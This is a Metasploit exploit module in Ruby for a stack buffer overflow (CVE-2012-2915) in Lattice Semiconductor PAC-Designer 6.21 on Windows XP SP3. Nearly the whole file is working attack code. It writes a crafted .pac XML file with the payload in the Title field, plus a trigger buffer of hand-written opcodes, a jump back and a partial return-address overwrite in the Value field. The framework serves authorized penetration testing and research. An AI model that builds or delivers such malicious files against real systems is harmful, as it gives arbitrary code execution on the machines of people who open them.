cgranleese-r7
110 lines
3.2 KiB
Ruby
110 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => "Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in Lattice Semiconductor PAC-Designer
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6.21. As a .pac file, when supplying a long string of data to the 'value' field
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under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption
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on the stack, which results in arbitrary code execution under the context of the
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user.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Unknown', # Discovery
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'juan vazquez', # Metasploit
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'sinn3r' # Metasploit
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],
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'References' => [
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['CVE', '2012-2915'],
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['OSVDB', '82001'],
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['EDB', '19006'],
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['BID', '53566'],
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['URL', 'http://web.archive.org/web/20120523175252/http://secunia.com:80/advisories/48741']
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],
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'Payload' => {
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'BadChars' => "\x00\x3c\x3e",
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'StackAdjustment' => -3500,
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},
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'DefaultOptions' => {
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'EXITFUNC' => 'thread'
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},
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'Platform' => 'win',
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'Targets' => [
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[
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'PAC-Designer 6.21 on Windows XP SP3',
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{
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# P/P/R in PACD621.exe
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# ASLR: False, Rebase: False, SafeSEH: False, OS: False
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'Ret' => 0x00805020
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => '2012-05-16',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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OptString.new('FILENAME', [true, 'The filename', 'msf.pac'])
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]
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)
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end
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def exploit
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# The payload is placed in the <title> field
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p = payload.encoded
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# The trigger is placed in the <value> field, which will jmp to our
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# payload in the <title> field.
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buf = "\x5f" # POP EDI
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buf << "\x5f" # POP EDI
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buf << "\x5c" # POP ESP
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buf << "\x61" * 6 # POPAD x 6
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buf << "\x51" # PUSH ECX
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buf << "\xc3" # RET
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buf << rand_text_alpha(96 - buf.length, payload_badchars)
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buf << "\xeb\x9e#{rand_text_alpha(2, payload_badchars)}" # Jmp back to the beginning of the buffer
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buf << [target.ret].pack('V')[0, 3] # Partial overwrite
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xml = %Q|<?xml version="1.0"?>
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<PacDesignData>
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<DocFmtVersion>1</DocFmtVersion>
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<DeviceType>ispPAC-CLK5410D</DeviceType>
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<CreatedBy>PAC-Designer 6.21.1336</CreatedBy>
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<SummaryInformation>
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<Title>#{p}</Title>
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<Author>#{Rex::Text.rand_text_alpha(6)}</Author>
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</SummaryInformation>
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<SymbolicSchematicData>
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<Symbol>
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<SymKey>153</SymKey>
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<NameText>Profile 0 Ref Frequency</NameText>
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<Value>#{buf}</Value>
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</Symbol>
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</SymbolicSchematicData>
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</PacDesignData>|
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file_create(xml)
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end
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end
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